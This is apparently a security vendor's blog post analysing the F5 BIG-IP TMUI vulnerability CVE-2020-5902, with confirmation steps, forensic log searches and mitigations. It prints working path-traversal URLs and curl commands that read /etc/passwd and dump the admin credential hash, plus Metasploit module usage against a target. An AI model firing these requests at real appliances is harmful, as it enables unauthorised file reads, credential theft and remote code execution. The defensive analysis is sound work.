Inside the F5 Big-IP TMUI RCE Vulnerability (CVE-2020-5902)

On July 1, 2020, F5 announced a critical vulnerability they are tracking as K52145254: TMUI RCE vulnerability (CVE-2020-5902). This was quickly weaponized on July 4^th followed by public proof of concept (POC) code released (in various working conditions) on July 5, 2020, to include a Metasploit module pull request.

This exploit has been seen in the wild and is actively growing in popularity. The BlackBerry® Red Team and BlackBerry® Incident Response Team are tracking this threat from both an offensive and defensive perspective to share knowledge and awareness such as:

• Confirming the Vulnerability
  • Web Browser
  • Curl
• Exploiting Basics
• Forensics and Indicators of Compromise (IOCs)
• Conclusions and Recommendations
• References

Since most of the publicly available POC code did not work against the BlackBerry test environment, BlackBerry consultants were able to successfully and independently achieve remote code execution using a netcat listener and three curl one-liners, one being double encoded. To give organizations more time to patch, we will not be releasing this method at this time but will use it to uncover additional forensic artifacts.
 

Figure 1:  Working remote shell in our test environment

In summary, this vulnerability affects all F5 BIG-IP devices (LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM) versions 11.x – 15.x. These appliances are found in both virtual (cloud) and physical (on-premises) deployments and are used as application gateways, content delivery controllers, and access management systems that typically sit in front of critical applications providing access control, and act as a buffer between the applications servers and the Internet.

This vulnerability is rated at a 10, out of a scale of 1 to 10 on the Common Vulnerability Scoring System (CVSS), and allows an attacker with access to the web management interface the capability to access administrative credentials, directory traversal, and even gain shell access onto the F5 security appliances. As such, it is critical organizations attempt to perform mitigation procedures as quickly as possible.

Without mitigation or patching, attackers may be able and not limited to:

• Gain access to credentials
• Obtain administrative access to the F5 BIG-IP appliance
• Use the BIG-IP appliance as a foothold into a corporate network or use it as a staging area for malicious code

Test Environment

In order to evaluate the attack and defense, BlackBerry built a test environment which consisted of:

• Big-IP Virtual Edition (VE) - 15.1.0.2 Build 0.0.9
• Linux® version 3.10.0-862.14.4.el7.ve.x86_64
• RHEL 7.5

By default, SE Linux was enabled by default along with “auditing” logs:
 

Figure 3:  Audit Logs are enabled

Note: As always, before making any production changes, please remember to test configurations changes in a test/dev/QA environment first.

Confirming the Vulnerability

The vulnerability exists in the Traffic Management User Interface (TMUI), also referred to as the Configuration Utility as shown in the screenshot below:
 

Figure 4: Screenshot of the vulnerable page

Note: The following confirmation tests do not harm or make any changes to the device. They merely exercise the vulnerability and list the contents of the world-readable /etc/passwd file. If your output shows the contents of /etc/passwd as shown in our screenshots below, your device is vulnerable.

Web Browser

The vulnerability can be confirmed via a web browser by simply navigating to the following URL (Remember to replace <host> with your host and <port> with the port services your TMUI—in our case the port was 8443):

https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
 

Figure 5:  Confirming the vulnerability via a web browser

Curl

Using a web browser might be fine to confirm a single host, but if you want to scan all of your devices, you may want to script the validation using this one-liner curl command or something similar:

curl -v -k 'https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
 

Figure 6:  Confirmed host was vulnerable with curl one-liner to dump the /etc/passwd file

Note: The same command will not work on the /etc/shadow file because the apache server in our case is running as the apache user.

Exploiting Basics

Unfortunately the risk goes beyond dumping the contents of a single file; it is also possible to obtain credentials from the appliance using built in functionality such as (in our case, it only showed that the password was encrypted):

tmshCmd.jsp?command=list+auth+user+admin

Ex:

curl -v -k 'https://<host>:<port>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
 

Figure 7:  Password hash disclosed

As the exploit becomes more popular, exploitation possibilities also increase. Using a Kali Linux host, we performed the following steps to test out the recently released Metasploit module:

1)      Upgraded to the latest version of the Metasploit Framework:

apt update; apt install metasploit-framework

2)      Obtained the CVE-2020-5902 ruby module:

wget -P /usr/share/metasploit-framework/modules/exploits/linux/http/ https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb

3)      Reloaded the modules within the Metasploit Framework:

reload_all
 

Figure 8:  New Metasploit module available

4)      Used the cmd/unix/generic module:

use linux/http/f5_bigip_tmui_rce
set RHOST <target>
set VHOST <target>
set RPORT <port>
set payload cmd/unix/generic
set CMD whoami
exploit
 

Figure 10:  File was created with the proper command

More troubleshooting is needed to determine the reason for execution failure and failure to clean up after itself. At this point, our consultants abandoned the Metasploit module in favor of creating a reverse shell using a few one-liners.

Forensics and Indicators of Compromise (IOCs)

During evaluation of CVE 2020-5902, BlackBerry Incident Response Team discovered that the exploit may leave behind exceptions. These exceptions can be found in /var/log/tomcat/catalina.out.

One may search for them:

grep -i tmui /var/log/tomcat/catalina.out
 

Figure 11:  Exceptions from the exploit attempt

In cases such as this, the logs may report a failed but attempted exploit of CVE 2020-5902. Additionally, the audit reporting can be seen in the logs accompanied by the Apache error logs shown below using:

journalctl -f
 

Figure 12:  Audit reporting

The F5 BIG-IP Appliance uses several configuration files in its web server, which is based on Apache, and uses a custom logging format which is sent to syslog. Because the logs are sent to syslog via /usr/bin/logger, the logs do not show up as being sent by apache or httpd. Because of this, logs must be searched using systemd’s journalctl instead of standard file commands (less,grep,cat, etc). The following command can also show a snippet of the logs:

systemctl status httpd
 

Figure 14: init.d configuration file

It appears the httpd.conf.sam is used as a reference and appended as a command line argument instead of being the loaded configuration. Each file had different references to the logs being generated. The most verbose and useful logs were the log_acc, however, while listed, the ssl.conf logs were the primary and only apparent logging used by the Apache web server in its current configuration.

You may search for these using: journalctl | egrep “ssl_req|ssl_acc”. Specifically, logs for the tmui contain the pattern “..;” which can be searched for similarly: journalctl | grep “..;”:
 

Figure 15:  journalctl command used to search the logs for ..;

These logs do not contain query strings or user agents, which limit the forensic value of these logs. However, these logs do return the server status (in this example, you can see one success [200] and one failure [500]). Additionally, logs rotate, so enabling remote logging is important to prevent loss of data from the logs.

Conclusion and Recommendations

The following checklist can be used for a high-level mitigation approach:

• Perform the F5 mitigations
• Check for signs of compromise
• Change passwords (and shared passwords)
• Reach out to your incident response retainer service
• Enable remote logging
• Enhance existing logging (test in non-production environment first)
• Harden the device by disabling all unused functionality
• If services are needed, avoid exposing sensitive services outside of the organization (TMUI included) – instead require VPN access
  

Details

Any organization that uses F5 Solutions BIG-IP appliances should perform the F5 mitigation procedures as soon as possible to prevent drive-by attacks and protect their network. After performing the recommended mitigations, check for signs of compromise.

Due to the low visibility of the attacks, BlackBerry also recommends businesses perform password changes for credentials that may be affected. If you have questions, reach out to your incident response retainer service. Similar to the recent CVE-2019-19781 Citrix vulnerability, the consequences for making mistakes are high.

Additional mitigations and alerting are possible using a combination of auditd configurations and log forwarding to ensure retention. Enabling remote logging can be done via the web configuration interface and ensures data is kept past rotation period. After enabling remote logging, make sure you alert on suspicious behavior and check the logs from time to time:
 

Figure 16:  Step by step procedures for enabling remote logging via the TMUI

In addition to log forwarding and monitoring, auditing of the httpd user can allow tracking of abnormal activity by the appliance. While not a mitigation measure on its own, enabling enhanced audit logs can help alert on exploits and future activity.

Note:  This may increase log size dramatically and may not persist past appliance updates—use with caution.

In a test appliance first, add the following to the /etc/audit/rules.d/audit.rules file:
 

Figure 19:  Logs and locations on F5 BIG-IP hosts

References:

• https://support.f5.com/csp/article/K52145254
• https://github.com/jas502n/CVE-2020-5902
• https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/
• https://support.f5.com/csp/article/K16197